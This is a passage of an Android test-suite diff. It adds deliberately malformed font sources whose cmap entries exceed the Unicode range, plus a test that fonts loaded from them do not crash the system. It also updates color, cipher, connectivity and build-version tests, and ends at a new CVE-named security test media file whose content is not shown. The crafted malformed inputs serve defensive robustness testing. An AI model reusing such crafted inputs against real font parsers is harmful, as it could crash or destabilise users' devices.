+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="3000" lsb="93"/>
+    <mtx name="b" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="0" nGroups="1" platformID="3" platEncID="10" language="0">
+    <!-- Note that following hexcode is pseudo ttx source.
+         You may want to see hexdump of out_of_unicode_start_cmap12.ttf -->
+    <hexdata>
+      00 0c  <!-- format: 12 -->
+      00 00  <!-- reserved -->
+      00 00 00 1c  <!-- length: 28 bytes -->
+      00 00 00 00  <!-- langauge -->
+      00 00 00 01  <!-- num of groups -->
+
+      <!-- Bad Font: cmap metadata specifies the encoding is Unicode but the cmap entry exceeds the maximum
+           code point: U+10FFFF. -->
+      <!-- start of the first group -->
+      00 11 00 00  <!-- start code point -->
+      00 11 00 00  <!-- end code point -->
+      00 00 00 01  <!-- start glyph ID -->
+    </hexdata>
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="b" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/too_large_end_cmap12.ttf b/tests/tests/graphics/assets/too_large_end_cmap12.ttf
new file mode 100644
index 0000000..eb0e563
--- /dev/null
+++ b/tests/tests/graphics/assets/too_large_end_cmap12.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/too_large_end_cmap12.ttx b/tests/tests/graphics/assets/too_large_end_cmap12.ttx
new file mode 100644
index 0000000..7324fbe
--- /dev/null
+++ b/tests/tests/graphics/assets/too_large_end_cmap12.ttx
@@ -0,0 +1,198 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+    <GlyphID id="2" name="b"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="3000" lsb="93"/>
+    <mtx name="b" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="0" nGroups="1" platformID="3" platEncID="10" language="0">
+    <!-- Note that following hexcode is pseudo ttx source.
+         You may want to see hexdump of too_large_end_cmap12.ttf -->
+    <hexdata>
+      00 0c  <!-- format: 12 -->
+      00 00  <!-- reserved -->
+      00 00 00 1c  <!-- length: 28 bytes -->
+      00 00 00 00  <!-- langauge -->
+      00 00 00 01  <!-- num of groups -->
+
+      <!-- Bad Font: cmap metadata specifies the encoding is Unicode but the cmap entry exceeds the maximum
+           code point: U+10FFFF. -->
+      <!-- start of the first group -->
+      00 10 ff ff  <!-- start code point -->
+      ff ff ff ff  <!-- end code point -->
+      00 00 00 01  <!-- start glyph ID -->
+    </hexdata>
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="b" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/too_large_start_cmap12.ttf b/tests/tests/graphics/assets/too_large_start_cmap12.ttf
new file mode 100644
index 0000000..1ce785a
--- /dev/null
+++ b/tests/tests/graphics/assets/too_large_start_cmap12.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/too_large_start_cmap12.ttx b/tests/tests/graphics/assets/too_large_start_cmap12.ttx
new file mode 100644
index 0000000..6cefec4
--- /dev/null
+++ b/tests/tests/graphics/assets/too_large_start_cmap12.ttx
@@ -0,0 +1,198 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+    <GlyphID id="2" name="b"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="3000" lsb="93"/>
+    <mtx name="b" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="0" nGroups="1" platformID="3" platEncID="10" language="0">
+    <!-- Note that following hexcode is pseudo ttx source.
+         You may want to see hexdump of too_large_start_cmap12.ttf -->
+    <hexdata>
+      00 0c  <!-- format: 12 -->
+      00 00  <!-- reserved -->
+      00 00 00 1c  <!-- length: 28 bytes -->
+      00 00 00 00  <!-- langauge -->
+      00 00 00 01  <!-- num of groups -->
+
+      <!-- Bad Font: cmap metadata specifies the encoding is Unicode but the cmap entry exceeds the maximum
+           code point: U+10FFFF. -->
+      <!-- start of the first group -->
+      ff ff ff ff  <!-- start code point -->
+      ff ff ff ff  <!-- end code point -->
+      00 00 00 01  <!-- start glyph ID -->
+    </hexdata>
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="b" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index 4801a1a..1e65caf 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -15,8 +15,11 @@
  */
 package android.graphics.cts;
 
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+
 import static org.junit.Assert.assertEquals;
 
+import android.content.res.Resources;
 import android.graphics.Color;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
@@ -27,6 +30,54 @@
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class ColorTest {
+
+    @Test
+    public void resourceColor() {
+        int colors [][] = {
+                { 0xff000000, android.R.color.background_dark  },
+                { 0xffffffff, android.R.color.background_light },
+                { 0xff000000, android.R.color.black },
+                { 0xffaaaaaa, android.R.color.darker_gray },
+                { 0xff00ddff, android.R.color.holo_blue_bright },
+                { 0xff0099cc, android.R.color.holo_blue_dark },
+                { 0xff33b5e5, android.R.color.holo_blue_light },
+                { 0xff669900, android.R.color.holo_green_dark },
+                { 0xff99cc00, android.R.color.holo_green_light },
+                { 0xffff8800, android.R.color.holo_orange_dark },
+                { 0xffffbb33, android.R.color.holo_orange_light },
+                { 0xffaa66cc, android.R.color.holo_purple },
+                { 0xffcc0000, android.R.color.holo_red_dark },
+                { 0xffff4444, android.R.color.holo_red_light },
+                { 0xffffffff, android.R.color.primary_text_dark },
+                { 0xffffffff, android.R.color.primary_text_dark_nodisable },
+                { 0xff000000, android.R.color.primary_text_light },
+                { 0xff000000, android.R.color.primary_text_light_nodisable },
+                { 0xffbebebe, android.R.color.secondary_text_dark },
+                { 0xffbebebe, android.R.color.secondary_text_dark_nodisable },
+                { 0xff323232, android.R.color.secondary_text_light },
+                { 0xffbebebe, android.R.color.secondary_text_light_nodisable },
+                { 0xff808080, android.R.color.tab_indicator_text },
+                { 0xff808080, android.R.color.tertiary_text_dark },
+                { 0xff808080, android.R.color.tertiary_text_light },
+                { 0x00000000, android.R.color.transparent },
+                { 0xffffffff, android.R.color.white },
+                { 0xff000000, android.R.color.widget_edittext_dark },
+        };
+
+        Resources resources = getInstrumentation().getTargetContext().getResources();
+        for (int[] pair : colors) {
+            int value = resources.getColor(pair[1], null);
+            assertEquals("Color = " + Integer.toHexString(value) + ", "
+                            + Integer.toHexString(pair[0]) + " expected",
+                    pair[0],
+                    value);
+
+        }
+        assertEquals("Test no longer in sync with colors in android.R.color",
+                colors.length,
+                android.R.color.class.getDeclaredFields().length);
+    }
+
     @Test
     public void testAlpha() {
         assertEquals(0xff, Color.alpha(Color.RED));
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index ba90c0f..04d5564 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -252,6 +252,22 @@
     }
 
     @Test
+    public void testInvalidCmapFont_tooLargeCodePoints() {
+        // Following three font doen't have any coverage between U+0000..U+10FFFF. Just make sure
+        // they don't crash us.
+        final String[] INVALID_CMAP_FONTS = {
+            "out_of_unicode_start_cmap12.ttf",
+            "out_of_unicode_end_cmap12.ttf",
+            "too_large_start_cmap12.ttf",
+            "too_large_end_cmap12.ttf",
+        };
+        for (final String file : INVALID_CMAP_FONTS) {
+            final Typeface typeface = Typeface.createFromAsset(mContext.getAssets(), file);
+            assertNotNull(typeface);
+        }
+    }
+
+    @Test
     public void testInvalidCmapFont_unsortedEntries() {
         // Following two font files have glyph for U+0400 and U+0100 but the fonts must not be used
         // due to invalid cmap data. For more details, see each ttx source file.
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index 7da8550..bac8ed0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -687,23 +687,12 @@
                     // Encrypting this plaintext using Android Keystore Cipher should fail.
                     Cipher cipher = Cipher.getInstance(algorithm, keystoreProvider);
                     cipher.init(Cipher.ENCRYPT_MODE, encryptionKey);
-                    if ("RSA/ECB/NoPadding".equalsIgnoreCase(algorithm)) {
-                        // This transformation is special: it's supposed to throw a
-                        // BadPaddingException instead of an IllegalBlockSizeException.
-                        try {
-                            byte[] ciphertext = cipher.doFinal(plaintext);
-                            fail("Unexpectedly produced ciphertext (" + ciphertext.length
-                                    + " bytes): " + HexEncoding.encode(ciphertext) + " for "
-                                    + plaintext.length + " byte long plaintext");
-                        } catch (BadPaddingException expected) {}
-                    } else {
-                        try {
-                            byte[] ciphertext = cipher.doFinal(plaintext);
-                            fail("Unexpectedly produced ciphertext (" + ciphertext.length
-                                    + " bytes): " + HexEncoding.encode(ciphertext) + " for "
-                                    + plaintext.length + " byte long plaintext");
-                        } catch (IllegalBlockSizeException expected) {}
-                    }
+                    try {
+                        byte[] ciphertext = cipher.doFinal(plaintext);
+                        fail("Unexpectedly produced ciphertext (" + ciphertext.length
+                                + " bytes): " + HexEncoding.encode(ciphertext) + " for "
+                                + plaintext.length + " byte long plaintext");
+                    } catch (IllegalBlockSizeException | BadPaddingException expected) {}
 
                     // Encrypting this plaintext using the highest-priority implementation should
                     // fail.
@@ -720,30 +709,16 @@
                         // This has already been tested above.
                         continue;
                     }
-                    if ("RSA/ECB/NoPadding".equalsIgnoreCase(algorithm)) {
-                        // This transformation is special: it's supposed to throw a
-                        // BadPaddingException instead of an IllegalBlockSizeException.
-                        try {
-                            byte[] ciphertext = cipher.doFinal(plaintext);
-                            fail(otherProvider.getName() + " unexpectedly produced ciphertext ("
-                                    + ciphertext.length + " bytes): "
-                                    + HexEncoding.encode(ciphertext) + " for "
-                                    + plaintext.length + " byte long plaintext");
-                            // TODO: Remove the catching of RuntimeException workaround once the
-                            // corresponding Bug 22567458 in Conscrypt is fixed.
-                        } catch (BadPaddingException | RuntimeException expected) {}
-                    } else {
-                        try {
-                            byte[] ciphertext = cipher.doFinal(plaintext);
-                            fail(otherProvider.getName() + " unexpectedly produced ciphertext ("
-                                    + ciphertext.length + " bytes): "
-                                    + HexEncoding.encode(ciphertext) + " for "
-                                    + plaintext.length + " byte long plaintext");
-                            // TODO: Remove the catching of RuntimeException and BadPaddingException
-                            // workaround once the corresponding Bug 22567463 in Conscrypt is fixed.
-                        } catch (IllegalBlockSizeException | BadPaddingException | RuntimeException
-                                exception) {}
-                    }
+                    try {
+                        byte[] ciphertext = cipher.doFinal(plaintext);
+                        fail(otherProvider.getName() + " unexpectedly produced ciphertext ("
+                                + ciphertext.length + " bytes): "
+                                + HexEncoding.encode(ciphertext) + " for "
+                                + plaintext.length + " byte long plaintext");
+                        // TODO: Remove the catching of RuntimeException and BadPaddingException
+                        // workaround once the corresponding Bug 22567463 in Conscrypt is fixed.
+                    } catch (IllegalBlockSizeException | BadPaddingException | RuntimeException
+                            exception) {}
                 } catch (Throwable e) {
                     throw new RuntimeException(
                             "Failed for " + algorithm + " with key " + key.getAlias()
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index cd6dbb2..e98dfcc 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -37,6 +37,7 @@
 import android.net.NetworkInfo.State;
 import android.net.NetworkRequest;
 import android.net.wifi.WifiManager;
+import android.os.Looper;
 import android.os.SystemProperties;
 import android.system.Os;
 import android.system.OsConstants;
@@ -110,6 +111,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        Looper.prepare();
         mContext = getContext();
         mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
         mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
@@ -279,11 +281,10 @@
     }
 
     private boolean isSupported(int networkType) {
-        // Change-Id I02eb5f22737720095f646f8db5c87fd66da129d6 added VPN support
-        // to all devices directly in software, independent of any external
-        // configuration.
         return mNetworks.containsKey(networkType) ||
-               (networkType == ConnectivityManager.TYPE_VPN);
+               (networkType == ConnectivityManager.TYPE_VPN) ||
+               (networkType == ConnectivityManager.TYPE_ETHERNET &&
+                       mContext.getSystemService(Context.ETHERNET_SERVICE) != null);
     }
 
     public void testIsNetworkSupported() {
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index e02502b..f1a9ed4 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -37,8 +37,7 @@
 
 LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
 
-# TODO: use the libgtest_ndk_c++ instead
-LOCAL_STATIC_LIBRARIES := libgtest libgtest_main
+LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgtest_main_ndk_c++
 
 LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
 
@@ -47,9 +46,7 @@
 
 LOCAL_CFLAGS := -Werror -Wall
 
-# TODO: use the following two lines instead
-#LOCAL_SDK_VERSION := current
-#LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_CXX_STL := libc++
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
 
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index 44dc487..eec3f16 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -35,7 +35,7 @@
 public class BuildVersionTest extends TestCase {
 
     private static final String LOG_TAG = "BuildVersionTest";
-    private static final int EXPECTED_SDK = 26;
+    private static final int EXPECTED_SDK = 27;
     private static final String EXPECTED_BUILD_VARIANT = "user";
     private static final String EXPECTED_TAG = "release-keys";
     private static final String PLATFORM_VERSIONS_FILE = "platform_versions.txt";
diff --git a/tests/tests/security/res/raw/cve_2017_0687.mp4 b/tests/tests/security/res/raw/cve_2017_0687.mp4
new file mode 100644
index 0000000..03b9d3a
--- /dev/null
